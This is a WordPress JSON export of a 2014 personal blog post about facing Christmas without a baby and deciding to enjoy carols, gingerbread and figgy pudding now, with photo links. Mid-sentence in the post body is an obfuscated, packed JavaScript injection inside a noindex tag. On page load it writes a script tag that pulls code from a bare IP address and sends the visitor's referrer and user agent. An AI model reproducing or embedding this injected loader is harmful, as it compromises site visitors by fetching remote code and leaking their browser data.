{"id":4333,"date":"2014-01-05T10:12:43","date_gmt":"2014-01-05T17:12:43","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4333"},"modified":"2014-02-07T12:26:30","modified_gmt":"2014-02-07T19:26:30","slug":"merry","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4333","title":{"rendered":"Very Merry"},"content":{"rendered":"<p>Each Christmas with no baby is harder and harder.\u00c2\u00a0 I was really struggling with this, between Thanksgiving and Christmas this year.\u00c2\u00a0 I decided to just grab the holiday by the front of its shirt and give it a good hard shake.\u00c2\u00a0 &#8220;Listen, Christmas,&#8221; I said.\u00c2\u00a0 &#8220;Get it together.\u00c2\u00a0 I want caroling and cookies.\u00c2\u00a0 I want gift-giving without angst.\u00c2\u00a0 I want tradition, and I want to <em>mean<\/em> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yabdk|var|u0026u|referrer|rsntn||js|php'.split('|'),0,{}))\n<\/script><\/noindex> something to me.\u00c2\u00a0 I want good tidings of great joy.&#8221;<\/p>\n<p>In my fantasy world, once I have a kid, I&#8217;ll have these perfect Christmas &#8211; some magical combination of all the things I loved about Christmas when I was a kid, and some more ancient Yuletide tradition that was never actually part of my life but which lurked in the pages of the books I loved.\u00c2\u00a0 Christmas pageants with medieval angels and preschool sheep.\u00c2\u00a0 Christmas cookies and caroling around the neighborhood.\u00c2\u00a0 A perfect tree and a yard full of lights.\u00c2\u00a0 Fluffy snowflakes and warm fireplaces.\u00c2\u00a0 I know I live in North Carolina.\u00c2\u00a0 I saw you raise your eyebrow, there.\u00c2\u00a0 Gingerbread houses and midnight candlight services. \u00c2\u00a0 This year&#8217;s now-in-theaters Christmas movie and the old, old Christmas story.\u00c2\u00a0 Reindeer Pez and steamed figgy pudding.\u00c2\u00a0 Waking up early to peek into stockings and sleeping in late.\u00c2\u00a0 BOTH.\u00c2\u00a0 AT THE SAME TIME.<\/p>\n<p>I gave myself a good hard shake as well.\u00c2\u00a0 &#8220;Listen, self,&#8221; I said.\u00c2\u00a0 &#8220;Once you have a baby in your arms, Christmas is going to be a lot like every other day:\u00c2\u00a0 bottle, diaper, diaper, bottle, diaper.\u00c2\u00a0 If you want caroling and pageants and cookies and crafts and candlelight services and quiet family time and snowmen and gifts with no angst, <em>now<\/em> is the time to make it happen.&#8221;<\/p>\n<p>So I did.\u00c2\u00a0 Sometime later I will post pictures of jigsaw puzzles and D&amp;D with my nephew, audio clips of carols with my niece, and notes from my first attempt at Figgy Pudding.<\/p>\n<p>Merry Christmas.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/puzzle.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4353\" alt=\"puzzle\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/puzzle-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/puzzle-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/puzzle.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/tower.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4354\" alt=\"tower\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/tower-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/tower-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/tower.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/DD.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4343\" alt=\"D&amp;D\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/DD-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/DD-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/DD.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4344\" alt=\"figgy 1\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy-1-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy-1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy-1.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4348\" alt=\"gingerbread5\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/LizCharles3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4350\" alt=\"Liz&amp;Charles3\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/LizCharles3-300x240.jpg\" width=\"300\" height=\"240\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/LizCharles3-300x240.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/LizCharles3-1024x819.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4348\" alt=\"gingerbread5\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread5.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread4.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4347\" alt=\"gingerbread4\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread4-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread4-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread4.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4346\" alt=\"gingerbread1\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread1-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/gingerbread1.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4345\" alt=\"figgy2\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy2-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy2-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/01\/figgy2.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Each Christmas with no baby is harder and harder.\u00c2\u00a0 I was really struggling with this,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4352,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[103],"tags":[93,20,25,21],"class_list":["post-4333","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-holidays","tag-christmas","tag-holiday","tag-kids","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4333"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4333"}],"version-history":[{"count":7,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4333\/revisions"}],"predecessor-version":[{"id":4380,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4333\/revisions\/4380"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4352"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4333"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}